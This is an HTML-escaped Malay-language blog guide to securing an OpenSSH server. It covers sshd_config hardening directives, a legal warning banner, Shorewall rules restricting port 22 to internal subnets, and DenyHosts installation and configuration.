x-small;"&gt;&lt;b&gt;Konfigurasi    OpenSSH Server Yang Selamat&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;ol&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Sekiranya  server tidak menggunakan komunikasi menerusi OpenSSH, buangkan ia  dari server&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;#  chkconfig sshd off&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;#  yum erase openssh-server&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Buka  fail sshd_config&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;#  nano /etc/ssh/sshd_config&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Gunakan  hanya SSH Protocol Versi 2 sahaja. Protocol versi 1 terdedah kepada  serangan Man-In-Middle Attack. Laksana konfigurasi berikut :&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre style="text-align: justify;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;Protocol 2&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Benarkan  capaian menerusi SSH hanya kepada pengguna tertentu yang dilantik  sahaja.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre style="text-align: justify;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;AllowUsers root muzzo haris&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Anda boleh halang capaian menerusi SSH kepada pengguna tertentu.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;DenyUsers  amran asiah&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Pengguna  dibenarkan akses menerusi SSH dan ditetapkan selang masa idle yang  dibenarkan untuk mengelakkan session ssh yang tak sah.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;ClientAliveInterval  300&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;ClientAliveCountMax  0&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Anda  menetapkan masa idle dalam saat (300 saat = 5 minit). Selepas masa  ini, pengguna yang idle dan secara automatik keluar dari sistem.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;/div&gt;&lt;ol start="6"&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Jangan  benarkan SSH membaca fail user's ~/.rhosts dan ~/.shosts. Ini kerana  SSH boleh menyebabkan command rsh terganggu dan terdedah kepada  bahaya. Akses melalui RSH amat berbahaya.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;IgnoreRhosts  yes&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Seterusnya  halang login menggunakan host.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;HostbasedAuthentication  no&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Tindakan  untuk terus login menggunakan root melalui ssh menerusi rangkaian  adalah amat berbahaya. Ini kerana pengguna biasa boleh mendapat  akses sebagai root dengan menggunakan su atau sudo. Dengan cara ini,  kita akan dapat maklumat terperinci tentang siapa yang telah  menjalankan command khas tertentu pada sistem tersebut melalui sudo.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;PermitRootLogin  no&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Tetapkan  banner amaran :&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;Banner  /etc/issue&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Ubah  fail Banner Standard /etc/issue kepada berikut :&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in; margin-left: 0.49in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;Anda telah mencapai Sistem Komunikasi Server Linux Application yang dikhususkan untuk Pegawai Teknikal yang berdaftar sahaja. Dengan menggunakan capaian ini, anda tertakluk kepada perkara berikut :&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in; margin-left: 0.49in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in; margin-left: 0.49in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;+ Anda tertakluk dibawah Dasar Keselamatan ICT Negeri Pahang&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in; margin-left: 0.49in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in; margin-left: 0.49in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;+ Capaian dan aktiviti anda pada server ini dipantau sepanjang masa&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in; margin-left: 0.49in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in; margin-left: 0.49in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;+ Capaian kepada server ini adalah menggunakan kawalan keselamatan yang ketat bagi menjamin keselamatan server serta data di dalamnya&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in; margin-left: 0.49in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in; margin-left: 0.49in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;+ Sebarang kerosakan disebabkan oleh komunikasi menggunakan Sistem Komunikasi di server ini tidak akan dipertanggungjawabkan kepada admin server ini&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in; margin-left: 0.49in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in; margin-left: 0.49in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;Anda dengan ini bersetuju untuk menggunakan Sistem Komunkasi ini dan mematuhi peraturan yang telah ditetapkan.&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in; margin-left: 0.49in;"&gt;&lt;/div&gt;&lt;ol start="10"&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Anda  perlu tetapkan had akses kepada port # 22 di firewall server.  Gunakan Shorewall sebagai firewall server dan tetapkan Firewall  Rules berikut :&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;ACCEPT net:10.254.31.0/24 $FW tcp 22  //wajib ada&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;ACCEPT net:10.253.31.0/24 $FW tcp 22  //wajib ada&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;ACCEPT net:10.30.31.0/24 $FW tcp 22  //wajib ada&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;ACCEPT net:10.254.yy.0/24 $FW tcp 22  //&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;pilihan  mengikut lokasi&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;ACCEPT net:10.xx.yy.0/24 $FW tcp 22  //pilihan mengikut lokasi&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;xx  = subnet jabatan, yy = subnet daerah&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Tetapkan  kata laluan pengguna SSH yang kukuh dan mengandungi gabungan  alphanumeric.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Jangan  benarkan remote login daripada akaun pengguna yang tiada kata laluan  :&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;PermitEmptyPasswords  no&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;ol start="13"&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Gunakan  DenyHosts untuk menetapakan konfigurasi kawalan akses SSH yang lebih  spesifik. Untuk instalasi DenyHosts :&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;#  &lt;span style="font-size: x-small;"&gt;rpm -Uhv  http://apt.sw.be/packages/rpmforge-release/rpmforge-release-0.3.6-1.el5.rf.i386.rpm&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;#  yum -y install denyhosts&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;#  nano /etc/hosts.allow → Masukkan baris berikut : 'sshd: 192.168.2.0/255.255.255.0&amp;nbsp; 192.168.1.1' &lt;/span&gt;&lt;/span&gt; &lt;br /&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;*Masukkan senarai IP Individu/Network IP yang dibenarkan akses menerusi SSH ke server tersebut sahaja.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;#  nano /etc/denyhosts.conf&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;table cellpadding="4" cellspacing="0"&gt;&lt;col width="256*"&gt;&lt;/col&gt;   &lt;tbody&gt;&lt;tr&gt;    &lt;td style="border: 1px solid rgb(0, 0, 0); padding: 0.04in;" valign="TOP" width="100%"&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;############     THESE SETTINGS ARE REQUIRED ############&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;SECURE_LOG     = /var/log/secure&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;HOSTS_DENY     = /etc/hosts.deny&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;PURGE_DENY     = 7d&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;BLOCK_SERVICE      = sshd&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;DENY_THRESHOLD_INVALID     = 5&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;DENY_THRESHOLD_VALID     = 10&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;DENY_THRESHOLD_ROOT     = 1&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;DENY_THRESHOLD_RESTRICTED     = 1&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;WORK_DIR     = /usr/share/denyhosts/data&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;SUSPICIOUS_LOGIN_REPORT_ALLOWED_HOSTS=YES&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;HOSTNAME_LOOKUP=YES&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;LOCK_FILE     = /var/lock/subsys/denyhosts&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;############     THESE SETTINGS ARE OPTIONAL ############&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;ADMIN_EMAIL     = adminsvr@pahang.gov.my&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;SMTP_HOST     = localhost&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;SMTP_PORT     = 25&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;SMTP_FROM     = DenyHosts &lt;nobody@localhost&gt;&lt;/nobody@localhost&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;SMTP_SUBJECT     = DenyHosts Report&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;AGE_RESET_VALID=5d&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;AGE_RESET_ROOT=30d&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;AGE_RESET_RESTRICTED=30d&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;AGE_RESET_INVALID=10d&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;#########     THESE SETTINGS ARE SPECIFIC TO DAEMON MODE  ##########&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;DAEMON_LOG     = /var/log/denyhosts&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY"&gt;&lt;/div&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;DAEMON_SLEEP     = 30s&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;DAEMON_PURGE     = 1h&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;#########       THESE SETTINGS ARE SPECIFIC TO     ##########&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;#########           DAEMON SYNCHRONIZATION         ##########&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Konfigurasi  denyhosts daemon run apabila server start&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;ol&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;#   chkconfig denyhosts on&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/ol&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Start  daemon denyhosts&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;ol&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;#   service denyhosts start&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/ol&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Pantau  fail log denyhosts&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;ol&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;#   tail -f /var/log/denyhosts&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;#   tail -f /var/log/secure&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;/div&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Pastikan  LogLevel ditetapkan kepada INFO atau DEBUG&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;LogLevel  INFO&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;ol start="15"&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Tetapkan  pecahan privilege&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;UsePrivilegeSeparation  yes&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Halang  sebarang cubaan menggunakan kebenaran akses kepada home directory  dan fail kunci&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;StrictModes  yes&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Tetapkan  semakan ReverseMapping&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;VerifyReverseMapping  yes&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Tetapkan  TCP Forwarding&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;AllowTcpForwarding  no&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;X11Forwarding  no&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" 